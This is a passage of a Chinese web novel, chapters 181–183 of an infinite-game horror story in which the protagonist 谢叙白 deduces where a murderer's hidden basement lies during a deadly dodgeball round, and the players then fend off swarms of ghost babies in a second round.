悄无声息为对方补足缺失的精神力,谢叙白朝愣神的徐队长招了招手。 徐队长想起最开始似乎也是青年第一个出声提醒,多少有所改观,心中的怀疑忽上忽下。 他把手里的两名玩家往上丢,让他们扒在支柱上,然后卡身位,蹬爬墙体,用最快速度靠近谢叙白:“怎么了,有什么发现吗?” 这个姿势让他像条壁虎趴在墙上,不是很好看,但当下也没有别的办法。 那些车,徐队长是万万不敢踩的,鬼知道蹭到车皮算不算被球“击中”。 “嗯,有发现。” 意识到谢叙白要离开,短时间已将他当成主心骨的【重力】玩家一个激灵,泪眼婆娑,发直的眼睛里仿佛无声呐喊着: 别走,我需要你—— 谢叙白再度抛去一个鼓励安抚的眼神,毫不犹豫地飘走了。 他屈指敲了敲陈旧泛黄的墙面,听着回声,对徐队长语不惊人死不休地说:“我好像知道【真正的球员】在哪儿了。”《 》 180-190 第181章 躲避球(3) 什么? 徐队长正要细问,谢叙白已经收回手,条理不紊地说了出来。 “广告词强调游乐场里都是以让‘参与者玩得开心’为目的而精心设计的游戏,那么就不会出现过多的无用信息。 假设我们在报纸里看到的就是本局躲避球游戏的关键信息,那么【真正的球员】有四种可能。” “一遭遇车祸的受害男子,二肇事司机,三被撬锁的车主,四违规打通地下室的一层住户。 这四类按线索重要性进行排列,肇事司机的优先级最高,因为报纸上登记的是对他的通缉令,其次受害者。” “然后我们来推测肇事司机现在的位置。” 谢叙白解下自己的手表递给徐队长。 无限游戏进行到后期,日常资源相对不再紧缺。 手电筒、多功能军用工兵铲、压缩食物、机械手表类计时工具等等,早已成为经验玩家的常规配备。 虽然大多数时候会莫名其妙消失或出现故障,但哪怕有一次能用上,就不算白带。 徐队长顺势念出时间:“……两点二十三?” 谢叙白:“进来前我特意看了眼时间,上午十点四十左右。虽然我们刚才通过的隧道很长,但也不至于走上十五个小时,不然以我的耐力和脚力,两只脚早就麻了。” “报纸上说车祸发生正好在凌晨两点半左右,如此,可顺势推测出一种可能: 手表显示的时间在进入这个异空间后,被作为线索‘拨正’到了关键的案发时间点,也就是肇事者行凶前后。” “行凶前还是后?鉴于地上已经有了血迹和被碾碎的血肉,我倾向于行凶后。 所有车的驾驶座上都没人,意味着肇事者已经离开车,正在逃离现场的途中。” “现场没有留下尸体,可能是游戏为了加大难度直接将其隐藏,但这样不符合游戏设计的合理性和故事性。 所以是另一种可能,肇事者为了不想那么快被发现或其他私人原因将尸体搬走了,这点也能通过地上不自然洒落的血迹证实。 仔细看,血水边缘有个类圆形的压痕,并且朝这个方向延伸出几道明显的长痕,是拖痕——肇事者使用裹尸袋之类的东西装尸体,搬动过程中不小心沾到了血,拖痕延伸的方向就是他逃离的方向。” 谢叙白抬眼淡声说:“他专门穿上能遮蔽体型的衣服,戴了口罩和帽子遮掩面容,还准备了裹尸袋。这不是意外,是一场蓄意谋杀。” 青年说话不疾不徐,音量始终控制在一个能让人舒服的分贝上,语调的高低起伏更是拿捏得恰到好处,能叫人听得清楚的同时还不会觉得拖沓。 最主要的是,他口吻中蕴含的情绪是积极向上的,自信笃定而不张扬,柔和不失沉稳。 这种说话方式很能感染人,即使当事人说的是一些无关紧要的口水话,也会让人有听下去的欲望。 徐队长面上琢磨着这些话里的逻辑漏洞,其实心里多少有点信服了:“嗯……你接着说。” “他搬着尸体,不可能走上地面。由于监控的存在,就算巡逻保安再疏忽大意,他也不能逗留太久。这附近应该有一条捷径能缩短逃离时间,让他用最快的速度抵达违规搭建的地下室。暗门或者报纸里提到的通风管道。” 谢叙白:“但有暗门这个推测基本可以排除。” 不知不觉,大部分玩家都围在谢叙白的身边听入了神,包括【重力】玩家。 听到谢叙白这么说,有人下意识问:“为什么不会有暗门?” “你傻不傻?”旁边有人接嘴道,“你偷摸着建地下室也就算了,还要再凿个门连接到车来车往满是监控的地下车库,生怕不会被人发现是吧?” 有人心领神会:“也就是说,凶手是通过管道井的检修门离开的?” 急性子的玩家在谢叙白提到逃离方向的时候,已经迫不及待地飘向楼梯间,在那里发现了检修门,惊喜呼唤众人:“你们快过来看,是不是这个门?” 几人围过去,果真看到一道银白色封闭着的金属小门!边缘还沾着一丝血迹! 有锁不是事,玩家有的是破门而入的办法,各种锋利的武器砸下去,噼里哐当一阵响,金属门不堪重击,啪的一声锁碎了,门吱呀崩开一条缝。 玩家将门拉开。 一条黝黑的通风管道顿时敞露在他们的面前。 一股子潮湿发霉、混杂着血腥味的气息也随之扑面而来,令人作呕,大家不由得往后退了一步。 狭窄昏暗的地方向来恐惧感十足,总让人怀疑是不是有东西堵在尽头,那可真是想逃都没法逃。 有人咬了咬牙,鼓起勇气说:“不管了,必须赶快追上去,万一让他跑了怎么办?” 谢叙白适时安抚:“不用担心,规则第五条明确告知,比赛一经开始,除非决出当局胜负,否则不允许球员中途退场。在我们输掉前,【真正的球手】无法离开这个地下车库。” 大家伙一听,再度喜出望外。 也是这时【重力】玩家终于忍不住了。 他抖着两只青筋暴跳的手,哆哆嗦嗦地挤出一句:“所以你们讨论的时候能不能想想办法自己挂在墙上!难道一个攀附道具都没带吗?我只是一个B级啊QAQ!” 众人这才回神去看满头汗水的【重力】玩家。 对上一张虚脱惨白的脸,也是终于良心发现,火急火燎地拿出各种工具把自己往墙上挂。 道具买不起,攀山绳、挂钩钉子还是有的。 谢叙白也得到了徐队长的友情赞助,一个青蛙蹼模样的道具。 戴上后紧贴墙面就可以吸附上去。 不过没来得及用,【重力】玩家就喘着气飘了过来。 因为谢叙白走开的事他看过来的小眼神还有点幽怨,不过看到谢叙白朝他露出一个“你真棒”的夸赞眼神,立马又变得精神抖擞,热情地凑上来:“没事大佬你不用,我可以托起你的重量。” 他仰头看着通风管道,叹了口气:“这管道横七竖八的,里面又黑得伸手不见五指,我们不是这个小区的管道维修工,万一迷路了得找到猴年马月去,要是能从外面直接锁定地下室的具体位置就好了。” 他说完下意识看了一眼谢叙白。 这是一种潜意识的钦佩,他在心里渴望对方能够再次大发神威,给出答案。 徐队长没经历过滴着汽油的车正对着脸冲过来,大脑一空,全身发僵,绝望到耳鸣,然后被人当头棒喝救下的刺激感,和劫后余生心脏暴跳差点哭出来的激动和庆幸。 所以他理解不了【重力】玩家对谢叙白的殷勤和依赖。 只是环顾没有其他线索提示的地下车库,下意识在心里觉得不可能。 青年的分析是很快且合情合理,证明他的脑子很灵活。 但也仅限于此。 通风管道是个关键线索,但这个关键线索写在所有人都能看到的纸面上,青年大概率是拿着答案推过程。 而现在要从外表推测具体位置,属于无中生有,宴初一又没有透视眼……等等。 徐队长忽然眉头舒展。 他记得有个队员好像带了具有透视功能的道具。 也是这时,谢叙白说:“能,可以缩小到一个大致的方位。” 检修门边上的玩家刚戴上照明头盔,还在哼哧哼哧地往里爬,闻声立马停下探出头,惊喜地说:“真的吗?在哪儿?” 谢叙白摸着墙壁:“首先这里有十个楼梯间,对应十栋楼,而在某栋楼的一层违搭了地下室。” “这是一个老小区,看结构的磨损老化程度应该快二十年了。物业管理缺失,监控不严密,保安做样子,才会让凶手有机可乘,这样的小区自然也不可能对安检维护上心。” 他说着,指尖从脱落墙皮上扣下来一小块灰黑色的混泥土石渣,稍微用力便按得稀碎,从指缝洒下去:“所以这栋楼肯定不在承重墙附近,就这个疏松度,一挖准塌。” “就算平时支撑住了,勉强能不塌,刚才汽车爆炸那么大的动静,也得给它震塌。凭此可以排除四栋楼。” “因为隔音不好,这边偷偷作业,另一边保证能听见,不被举报的可能性很小,只能是独栋。这四栋两两紧挨的楼房也能排除。” “至于剩下两栋楼,来看这里的地形图。”谢叙白指着车位平面图说,“一般建造会考虑规整性和美观,也怕结构不匀称引起风水上的忌讳。但这里不仅凹下去了一大块,本该对称建立的楼房也被迫挪到旁边。要么这片区域存在地形问题,比如是条河或者断崖、斜坡,要么被划分成了别人的建筑地盘,别人也要开工。要么下面埋着GJ电缆等等问题。 不管是什么原因,有条件建立地下室的可能性很小。” “所以只剩下最后一个选项。” 谢叙白屈起骨节分明的手指,在平面图剩下那栋楼的标识图案上轻轻一敲,宛如一锤定音:“藏匿凶手的地下室,就在这里。” “……” 空气陷入一时的寂静,只剩起伏的浅显呼吸声,无人说话,针落可闻。 谢叙白扭头,对上了众人仿佛被惊掉下巴的震撼表情。 第182章 躲避球(4)…… 直播间评论也炸开了锅。 “我的乖乖,这叫缩小范围?这直接报点锁头了吧!” “六百六十六,有人现场开挂!” “真给我听得一愣一愣的,有没有人出来论证一下他到底在瞎说还是有理有据的分析?” “不是上面的弹幕都怎么回事,就这样相信他了??你们都忘记了吗,前面他给出来的海报是张纸啊!他就是伪装成人的怪物,什么有理有据的分析都是演出来混淆视听的!” “上面说得对,我们这么多观众全程盯着直播屏幕,都没看出来他是从哪儿冒出来的,这个人的问题很大!” “完了这群人没救了,被一头怪物玩得团团转。” “巅峰也不过如此,神级玩家更是个渣。还以为有谢叙白出场的副本一定十拿九稳,白期待了,浪费时间和精力,还不如去看【9】。” “等一下,我忽然产生了一个大胆的想法,有没有可能,这个青年就是谢神变的?” “快拉倒吧,谢叙白有什么特意伪装混入玩家的必要?乱七八糟瞎说一通就把你们给唬住了?他要是谢叙白,我直播倒立洗头!” —— 副本里玩家们还在呆若木鸡地盯着谢叙白。 面对十多双瞪大的眼珠子,青年似乎也觉得自己说得太过,有些不好意思,摸了摸鼻子含糊地说:“我也只是随便说说,不一定对……徐队长!” 被突然叫到的徐队长从错愕中回神,下意识应了一声:“啊……嗯,怎么了?” 谢叙白飘过来:“你这里有没有什么热成像之类的侦查道具?” 不仅有,徐队长旁边的那名巅峰队员还正要从空间背包里拿出来。 那名队员登时看向谢叙白的眼神都变了,充满惊疑不定。 这个人难道会读心术吗,不然怎么知道他们有道具还准备用? 连徐队长听完谢叙白一连串的分析都出现了瞬间的恍惚,怀疑对方早已猜到他们要拿出道具。 可再一抬头,对上谢叙白毫无异常的期许眼神,又觉得是不是自己想太多。 随后巅峰成员将道具拿了出来。 道具使用会受到副本磁场干扰,影响程度随等级差距呈正比例变化。 比如C级道具在B级副本中的效力会衰减,A级道具在B级副本的效力会增强。级别差得太多,有时候还不如用普通的工具。 所以到后期,遇上高难度的副本,没有能力获取高阶道具的玩家,对道具的依赖性会大幅度降低。 比起道具,仰仗自身的天赋技能和数值显然更靠谱。武器同理。 要大范围侦查S级副本,也就A级B级的道具勉强能用,再低就不行了。 B级还好,A级道具获取难度极大,就算是巅峰也不可能给第三分队分配过多的资源。 该名成员也是翻遍库存,才好不容易掏出一个具有透视功能的A级道具,有次数限制,用完直接销毁,这让他满脸肉疼。 徐队长身为队长,更是精打细算、省吃俭用习惯了,见状轻咳一声:“我感觉初一兄弟的分析挺有道理,不然我们先把那栋楼确定为目标,规划通风管道的行进路线进去找一找,没找到的话再用道具侦查。” 谢叙白说:“其实不用那么麻烦。” 不管是还没从懵逼中回神还是在想对策的玩家,听到他说话,纷纷扭过头不约而同地看向他:“嗯?” 【重力】玩家最直接,目光炯炯地问:“大佬,你有什么好点子吗?” “不是什么好点子,只是我的想法可能比较简单粗暴。”青年挠了挠脸颊,“咱们不是有布莱恩吗,他的力气那么大,身体又坚硬,这里的墙这么脆,为什么不从外面直接挖呢?” 在场玩家霎时间如醍醐灌顶。 我靠! 这是真的万万没想到! 曾几何时玩家们也非常勇(鲁)猛(莽),看到密室就想拆家,看到机关就想破坏,想尽一切办法钻空子。 正所谓中洲玩家三大执念:核爆,速通,卡bug。 为什么道具在不同副本中效力会受到影响?还不是因为有很多神人为了缩减通关成本,硬生生用低级道具卡走位磨死了高级副本里的BOSS。 还有人利用地形和简易弓箭无时限刷怪赚积分,达成以一敌千的辉煌战果。 直到系统疑似玩不起,给规则反复打补丁,用各种隐藏的坑让他们狠狠栽了个跟头,这股歪(优)风(良)邪(风)气(尚)才有所收敛。 现在规则里可没说不能强拆! 最关键的是神级玩家布莱恩在场!他连游乐场设施都能直接劈成焦炭,挖穿个墙那不是手到擒来? 只是看着满身煞气的金发雇佣兵,人们面面相觑,有点望而生畏。 最后还是由徐队长上前当起了说客。 让人意外的是,布莱恩答应得很干脆。 他没有立即照着谢叙白所说的地下室位置开挖,而是先走到谢叙白的面前,面无表情地看着青年。 谢叙白看见布莱恩嘴巴微动,浅色瞳孔充满探究,下一秒对方的声音在他脑海中响起。 【你出现的时候,我没有发现任何痕迹。你的身上有很多疑点。】 谢叙白:“……” 他不知道神级玩家的感知力有多离谱,也做好了自己被怀疑的准备。 不过想到当时布莱恩被揍得只剩半条命,还能腾出功夫来注意他的动向,不免有些惊奇。 没有直接开口揭穿他,是想借此威胁? 谢叙白不动声色地整理措辞,忽然又听到布莱恩的传话。 【但我同样没有在你身上感受到恶意。】 【你很聪明,我欣赏聪明的人。我会一直监督你,希望你不要有坏念头,不然我一定会杀了你。】 瞧着布莱恩一本正经的神色,谢叙白愣了愣,有点意外。 他忽然发现脑子里的声音不是英文,竟是中文,因为不熟练发音而显得拗口干涩,也难怪会是干巴巴的简短句。 对神级玩家来说,获取语言类技能并不难,只是他们很少会去主动学习其他洲区的语言,问就是前面的试炼副本不跨地域,洲区之间由于限制又没有商贸来往,没必要去学。 像谢叙白这样精神力强大到一定地步,可以直接用识念在脑海中沟通,化解一切语言不通,更用不着。 布莱恩却临时学习了中文。 谢叙白稍一回想。 似乎在周围人静下来听他分析的时候,布莱恩就顺势看向了他。 金发大汉第一反应是拧眉板脸,一阵纠结——因为听不懂中文。 他侧头低声,询问唯一跟进来的队友。可惜队友只会一点中文,正常中洲人能听懂的语速对他来说快且难懂。 布莱恩皱了皱眉,看看左边又看看右边,想装作不在意的样子,又掩饰不住内心的好奇。 见大家逐渐做出恍然大悟吃惊不已的表情,他双手环抱,越来越纠结,手指啪啪敲打臂膀,像极了一只被好奇心折磨得浑身躁动的猫。 最后的结果,当然是布莱恩没能忍住,瘫着脸翻开系统商城,买下了语言学习包,勉强赶上听到谢叙白的后半段分析,冷酷倨傲的表情渐渐有些变了,眨眨眼,还小声地“哇哦”了一声。 ——总而言之不是坏事,至少现在所有人都没有沟通障碍了。 迎着万众瞩目的眼神,布莱恩来到目标地点,他将手搭在墙壁上,闭上眼睛似乎在蓄力。 队友隔着一段距离疯狂提醒:“这个小区很破旧,布莱恩你一定要注意控制力气,千万不要把整个车库给打烂了,不然我们大家都要被活埋!” 徐队长等人不语,只是默默地撑开屏障。 布莱恩睁眼,不耐烦地瞥了队友一眼,刚巧谢叙白飘了过来。 谢叙白想知道神级玩家是怎么操控力量的。 不同于诡异,这是他从未体验过的力量体系,又或者说这种从人到神的进化之路更贴合他的情况,毕竟他由始至终都没有异化成诡怪。 布莱恩身上还有和宴朔一样的神明气息,但邪神更强势威猛一点,更靠谱稳重一点,像个帝王,不怒自威。 布莱恩没想到前脚刚警告过谢叙白,青年后脚就敢凑上来。 他盯着谢叙白看上好一会儿,直到青年疑惑地抬起头,古怪地问:“你不害怕?不躲远一点?” “嗯?”谢叙白反倒有点奇怪,“微操对你来说应该很容易?” 强大的人可不会只像个核弹一样炸翻全世界,相反,他们把控力量的精准度堪称天花板。 神级玩家的提升是全方位的,就算不特意强化精神力,脑算量也比正常人高出一大截,布莱恩学习中文到熟练只需要5分钟。 但这只代表他们学习能力和计算力出众,其他方面就不能保证了。 布莱恩闻言又看了谢叙白一会儿,见青年脸上没有怀疑和担忧,他忽然哼笑一声:“那是当然,非常容易。” 话音未落,力量波动从他掌心荡开。只听咔嚓一声,布莱恩掌心对着的墙壁倏然裂开一道口子,呈环形蛛网朝外迅速蔓延,眨眼间就爬到了天花板的通风管道! “布莱恩……!”其他玩家登时心脏都提到了嗓子眼。 裂缝范围太大了,这他X的要出事的感觉啊! 有两个人始终无动于衷,其一布莱恩,其二谢叙白。 布莱恩这才相信谢叙白是真的不怕,缓缓收回瞄着对方的余光,手掌往前一推。 一连串的咔嚓声响如同鞭炮连放,裂缝骤然崩开,半面扇形的墙在不可阻挡的推力下朝内倾塌,轰然落地碎成无数块,扬起大片的石灰烟尘! 玩家们探头张望,不免惊叹。 动静不仅很小,切口竟是平整的,隔空硬生生掏出半个洞来,完全没有波及到周边墙体的一丝一毫! 惊叹没几秒,越过谢叙白二人看清楚眼前场景的玩家们陡然噤若寒蝉,面色各异。 被打通的地下室果真在这!屋内没有开灯,昏暗阴森,狭窄逼仄的空间里堆积着塑料袋纸盒之类的杂物,显得凌乱不堪。 一具男性尸体就横躺在屋子中间,沙发的下面,大片黏稠的血液凝聚在他的身下,汩汩朝外蔓延,浓郁的血腥味和陈旧的潮湿气扑面而来。 众人不受控制地看向尸体的脖子,他的脑袋竟是不翼而飞! 端看截面的平整光滑,一定不是被撞断或轮胎不小心碾断,而是被人有意拿斧头类的工具砍下来的。 为什么要砍头? 还有,既然被害者在这,那凶手……? 有人正要开腔询问,忽然背后灯光大亮,车辆引擎再一次爆出震耳欲聋的轰鸣! 哪怕玩家们挂在墙上,汽车碰不到,但心有余悸后的本能反应依旧令他们下意识退避。 包括布莱恩。 那些车冲过来的架势比最开始凶猛得多,他想也没想地一把捞起谢叙白就往旁边躲! 却没想到,这些车要攻击竟然不是发现凶手的两人。 好几辆私家车轰轰轰地冲向地下室,原本只是半开的墙面被它们狠狠一撞,直接垮塌!大块的石灰墙砖噗呲碎裂,再度扬起大片的灰尘,它们势不可挡不偏不倚地撞向了地下室的最深处! 电光火石之间,谢叙白似乎看到了凶手的影子。凶手正躲在柜子的角落,攥着一把杀猪刀,刀口往下滴血,看到车子冲进来,竟是主动走了出来,正面迎上疾驰的车! 那一瞬间,谢叙白感觉凶手在笑。 紧接着人车相撞,但没有物体被撞的闷响,像是撞到一团空气。 欢快的游乐场播报声从四面八方响起。 【叮!“真正的球员”被“真正的球”击中,恭喜各位玩家获得当局胜利!下一局比赛即将开始!还请静等一分钟……】 地下车库接二连三响起山呼海啸般的爆鸣,所有的车亮起灯光,全部发动,驶出车位,在偌大的车库中横冲直撞! 幸好巅峰小队早有准备,大叫一声:“都来这里!”并飞快展开屏障。 所有人迅速聚集躲在屏障内,眼睁睁看着无数辆漏油的车以自毁的方式相互撞击,发生剧烈爆炸。 火海扑面,冲击激荡,脆弱墙体和承重立柱反复受到撞击,终于在某一瞬间响起不堪重负的崩裂声,骤然垮塌,大块的石头钢板从头顶压了下来—— 【场景加载完毕!新一局游戏现在开始!】 景象倏然变化。 再睁眼,谢叙白发现他们出现在了一个新的场景中。 现场加上他,二十名玩家不多不少,或躺或站,大多数惊魂未定。 “刚才是怎么回事,真正的球手自杀了?我们还没找到球呢!” 有人皱眉察觉到问题:“不是自杀,没听到惨叫,更像断尾求生。” “没吧,咱们不是赢了吗?” “可能是凶手不想暴露身份。” “先不管那些了,这是个什么地方,我靠!” 端看眼前稀疏平常的摆设,桌椅板凳茶几电视机电冰箱,还有阳台暖色调的遮光窗帘,毫无疑问这是一家居民房。 可是这个地方实在是太太太大了!! 能想象到吗?平常住的家面积忽然扩宽几十上百倍,变得比足球场还要大,一眼居然望不到头! 家具装饰倒是没什么变化,还是正常的大小,就是被等比例复制出无数份,又按同样的间隔布置在这仿佛大得没边的空间上! 宛如来到家具城,每走几步就是一张沙发一张床,幻视无数个没有墙隔开的模板房间。 直播间观众看到这恶意满满的场景,PTSD都犯了。 “好消息:地势开阔。坏消息:地势开阔。” “还有这么多遮挡物,妥妥要上演追逐战的节奏。” 现场玩家也想到了这茬,吞咽唾沫。 他们自发地寻找线索,忽然,电视机当着所有人的面唰一下打开。 屏幕里正在播放新闻,主持人脸上毫无血色,目光和雕塑一样呆滞,用生硬的腔调,一板一眼地播报。 “昨日傍晚十一点三十三分,我市XX小区住宅内发生一起持刀杀人案,一家三口在家中同时遇害,男女夫妻被残忍地割掉头颅,头颅疑似被凶手带走,八个月大的婴儿不知所终……” 玩家们惊愕地交换眼神。 “割脑袋?上一局的尸体,我要是没看错的话,也是被割掉了脑袋吧?” “这两起凶杀案,难不成是同一个凶手?” “遇上变T杀人狂了卧槽!” 虽然被害者很可怜,但当务之急是赢下游戏。 有人试图从新闻中提取关键信息,听了半天,皱着眉头一头雾水:“真正的球员应该就是凶手了,但这次的球会是什么?除了那把杀人的刀,好像也没提别的东西,总不可能给我们下刀子雨吧?” 其他玩家四处张望寻找。 忽然有人僵住,不知看到了什么恐怖的东西,颤颤巍巍地挤出一句慌得发飘的嘤咛:“我,倒宁愿,是刀,呢……” 周围的目光投过来,瞬间和他一样僵住,倒吸一口凉气。 只见沙发的最顶上,赫然趴着一个通体青紫的鬼婴,四肢藕节般粗粗胖胖,没有眼珠子,黑窟窿似的不断淌着血。它的脸任残留着婴儿的稚嫩和天真。 似乎生怕这种程度吓不到他们,一眨眼的功夫,四周响起窸窸窣窣的攀爬声。 数不清的、模样别无二致的鬼婴悄无声息出现在了桌子上、柜子上、天花板上……像嗅到血腥味的鬣狗,直勾勾阴恻恻地看过来,密密麻麻,无处不在。 玩家们简直无法呼吸。 一不小心,就和鬼婴深黑无瞳的眼眶来了个深情对视。 鬼婴缓缓对他们咧开嘴角。 刹那间众人肾上腺素急剧分泌,全身血液喷张,猝然发出尖锐的呐喊。 “你别告诉我这些鬼婴就是球!” “X的还真是,扑过来了啊啊啊啊啊啊!” “卧槽它们会咬人!它们的牙有毒!淦!还会精神污染和附身!快用符纸驱邪!” 他们带的驱邪类道具有限,但鬼婴却好像源源不断。加上道具效力还会受到副本削减,这样僵持下去对他们很不利! “必须尽快找到凶手和真正的球!” 不知什么时候开始,徐队长注意到谢叙白一动不动,怔愣地看着电视机,像是没注意到四周的危险,也看不到有只鬼婴正要伺机攻击他。 徐队长连忙为谢叙白撑开屏障,靠近时听到青年喃喃自语:“那对夫妻……” 对啊! 徐队长忽然灵光乍现,大喝朝众人提醒:“父母可以认出自己的孩子!去找那对遇害的夫妻,他们能帮我们找到真正的球!!” 第183章 躲避球(5) 看到新闻的瞬间,谢叙白就像被无形的锁链猛然勾在原地,脑子里若隐若现地浮出某个画面。 那画面应该很久远,像一缕转瞬即逝的风,微茫且短暂,连过目不忘的他都无法勾勒出一丁点模糊的轮廓,没等握紧手掌,就从指缝中漏了出去。 谢叙白甚至不能确定那是不是斗篷人故意施加的某种干扰。 下一秒他的余光扫见三只扑上来的鬼婴,飞快定神扭身,借助徐队长将他扯开的力道下腰躲开。 呼—— 凌厉的爪风几乎擦着谢叙白的鬓发拍在桌子上,嘭!红漆实木桌面被硬生生拍出一个凹进去的狰狞掌印! 有玩家大叫:“这些鬼娃儿什么力气,奶水里面掺激素了吧!?” 徐队长一声吼:“别管了快走,先去找那俩个遇害的夫妻!” 被复制的客厅之间虽然没有墙壁,但每个客厅都摆放着大型家具,到处都是障碍物。 玩家人数又多,聚集在一起相互制肘,很难放开手脚,更不利于躲开鬼婴的攻击,遇上这情况只能分组行动。 然而人数多不仅仅是坏事,特别是这种超大型游戏地图。 脑子机灵的玩家早已朝四面八方散开,跑出去好长一段距离。 某一时刻,他们看见有人蹦跳起来,挥舞双臂声嘶力竭地呼喊:“你们快来这儿!” 单从外表看,那名玩家身处的客厅和其他地方没什么区别,但他的表情很惊异,明显有着重大发现。 问题是谢叙白他们与他相距至少一千多米。 谢叙白最开始被莫名干扰思绪,恍惚片刻。 也是这么一小会儿的功夫,中间的道路被上百只鬼婴占据,寸步难行! 所有鬼婴显露出狰狞诡相,稚嫩的脸蛋看不出一点婴儿气,只有阴恻恻的漆黑鬼气。嘴巴以远超常理的形式咧开,殷红带血,露出满口尖牙。 它们像壁虎般四肢朝地,此起彼伏地发出尖锐细小的叫声,似哭似笑。 “哇,哇——!” 渗人的寒意瞬间从脊髓蹿到大脑皮层,叫人头皮发麻。 这时,突然好几个人围过来,将谢叙白护在中间。 是巅峰小队的几名成员,还有布莱恩和【重力】玩家。 徐队长二话不说,快如闪电地在谢叙白的身上贴上几张B级符纸,又往青年的手心塞了个巴掌大的A级护身佛像,能在一定程度上抵挡怨气入体。 他这么护着谢叙白,不是做慈善,而是直觉青年会找到带大家通关的办法。 能在高难试炼副本里,碰上一个高智商还不会发疯的家伙真的很不容易,为此他愿意暂时放下一切疑心,全力保住希望的火苗。 怪海如潮,徐队长做好拼命的准备,严肃地叮嘱谢叙白:“你就只管敞开腿往前跑,什么都不用管,我们送你过去。” 谢叙白略一停顿,回头看向徐队长:“……” 长久以来,副本机制将玩家和NPC分成两种立场,不管他们愿不愿意,总有一方会变成受害者,另一方变成加害者。 是“非我族类其心必异”。 是“不是你死就是我亡”。 哪怕他们一开始或许就在同一个阵营,是同胞,是战友,这种隔阂一时半会儿也很难消除。 不然谢叙白也不至于伪装成玩家。 此时此刻,看到徐队长毅然决然赋予信任的神情,谢叙白终究忍不住泛起一丝触动:“我们一起过去。” 徐队长凝重拒绝:“不行,这么多怪必须有人打掩护,你记得拿稳佛像。” 谢叙白眸光闪烁:“徐队长——” 到底是个刚毕业的学生,容易优柔寡断。 但徐队长转念一想,宴初一明明有脑子却还是个B级,性格也比较柔软青涩,恐怕迄今就没得到过妥善照顾,遇难重生过好几次。 徐队长心里一软,为了不让谢叙白心里有负担,认真安抚道:“不用感动,这是为了取得最后的胜利。也不要担心,巅峰好歹也是身经百战的战士,对付这些小怪根本不成问题!” 谢叙白有话想说:“可……” 危机关头根本不允许犹豫太久,徐队长佯装冷脸呵斥:“没有可是!” 谢叙白:“不……” 徐队长:“没有不行没有不可以没有怎么办什么都没有现在马上去做你力所能及的——” 不止徐队长,其他小队成员也在劝:“去吧孩子一切由我们顶住。” “放心没有鬼可以靠近你一米范围内!” “冲!!” “我的意思是我们能一起无伤亡突破重围冲过去!”也是好久没被人当脆玻璃了,谢叙白始终平静的脸终于露出一抹鲜活又真情实感的无奈,努力提高声音压过这群人的大嗓门,“你们能不能先听我说话!” 巅峰众人陡然卡壳:“……啊?” 布莱恩在旁边根本顾不上听他们说什么。 当发现丢出去的雷电只会穿透鬼婴的身体,而无法对它们造成一点实质伤害后,布莱恩瞬间反应过来他们恐怕遇上了中洲邪灵,元素物理系异能的克星,脸色蓦然非常难看。 但看见谢叙白有危险,出于对弱小(指体格)的怜悯,他还是挡了过来。 也因此,不可避免地被鬼婴咬到了胳膊。 本以为会鲜血四溅,毕竟怪物的牙齿看上去非常锋利,没想到一阵金光自项圈中绽放。 鬼婴们如同被烈火烧灼皮肤,身体表面滋啦冒出一股股青烟,痛得发出“啊啊啊啊”的惨叫,眨眼间逃出几十米远。 做出招架姿势的布莱恩愣了愣,下意识摸向脖子上的项圈,狐疑呢喃:“……难道这是中洲的十字架?” 心高气傲的他被迫套上这玩意的时候,不可谓不屈辱。 但他发现项圈不仅能护住心脏,还能挡鬼之后,这份屈辱感也在慢慢地消失。 忽然有人在背后问他:“布莱恩,你想不想赢下游戏?” 胜负欲极重的布莱恩下意识回答:“想,所以?” 那人又问:“那你能不能接受为了胜利小小地牺牲一下自己的形象?” 布莱恩没听懂,扭头皱眉看向说话的人,是谢叙白。 同时他也看见谢叙白又或者说他的身后聚着很多人,沙丁鱼似的抱成一团,这里面甚至还有他的队友,看向他的眼神中隐约透露出三分心虚。 仿佛要对他做坏事的眼神。 布莱恩心神一凛,顿时有种不祥的预感,接着听到谢叙白歉意地说:“事出无奈,忍一忍,很快就好。” “Whatttttttttt——” 布莱恩磁性浑厚的嗓音瞬间被疾驰的飓风拖成一串错愕带颤的大叫。 是【重力】玩家发了力。 就在刚才,听完谢叙白吩咐的他牟足劲儿将大家的重量减轻,半飘在空中。 由巅峰小队成员对准沙发使用【风】组成“尾部”,以散发金光驱散鬼婴的布莱恩为盾牌组成“头部”。 飓风推力成型的一刹那,这枚数人组成的“人R炮弹”便势不可挡地发射了出去,撞向汹涌的鬼婴潮! 那一瞬间布莱恩都来不及愤怒和做出反应,而是大写的懵逼:为什么一个B级玩家可以操控他的重量? 骤然拉近距离的鬼婴们比他还要懵逼,在金光的灼烧中吱哇乱叫,青黑色的脸吓得几乎没有血色,慌得原地疯狂打转。 于是戏剧化的一幕出现了。 只见满脸狞笑的鬼婴如潮水般张牙舞爪扑向玩家,又在下一秒疯狂起跳,屁股冒烟如潮水般快速窜逃! “呜哇哇哇哇!!” 那凄厉瘆人的婴儿啼哭,某一刻倒真有了一股弱小可怜又无助的味道。 非常之热闹。 当这枚横冲直撞的“炮弹”停下来时,布莱恩满脸菜色,已经不想说话了。 他这辈子都没有和这么多邪灵面对面冲撞,一时间满脑子都是青黑色鲨鱼牙的脸,好像还有躲闪不及的鬼婴将腐烂的爪子塞进了他的嘴里,呕—— 其他人也头晕目眩地爬了起来,和他一样捂着嘴作呕。 布莱恩块头大,但也挡不住所有的鬼婴,他们同样被糊了一脸,索性金光阻挡得及时。 谢叙白体质一般,高速移动后脸色有点白。 巅峰某成员拿出干净纸巾分给大家,谢叙白接过道谢,并用胳膊肘轻轻撞了一下他。 该成员顺着谢叙白温润平和的眼神,看向布莱恩和他的队友,立时反应过来,将纸巾递过去:“嗨兄弟,刚才多亏了你……” 布莱恩不知道是心脏裂开没力气,还是被恶心得没脾气,撑着沙发竟然没发火,干脆地将纸巾接过来,还说了句谢谢。 玩家一愣,连忙说不客气。 也是这一刻,这一支不同洲区、等级不对等、开头闹出大矛盾的队伍,才算真正开始融冰。 先前呼喊他们过来的玩家已经不见了,或许为了躲鬼婴跑到了其他地方去。 没等众人缓过气,眼前离奇的一幕叫他们猝然噤声。 周围的家具变大了。 原本差不多高到头顶的冰箱,再看竟然和一层楼差不多高,需要用力地仰起头才能看到顶。 但很快,谢叙白骤然低头,盯着自己藕节般白白胖胖的小胳膊,猛然发现,不是家具变大了,是他们变小了! 他们变成了鬼婴? 不,不对。 肤色健康白嫩,身体没有异化,他们应该是变成了还没遇害的婴儿。 谢叙白仔细观察四周。 消失的墙壁出现了,和其他房间连接,还有门。 各种家具装饰崭新了不少,地板也没有那么多灰尘,也有一些家具不见了。 除此之外,没有怪异的地方。 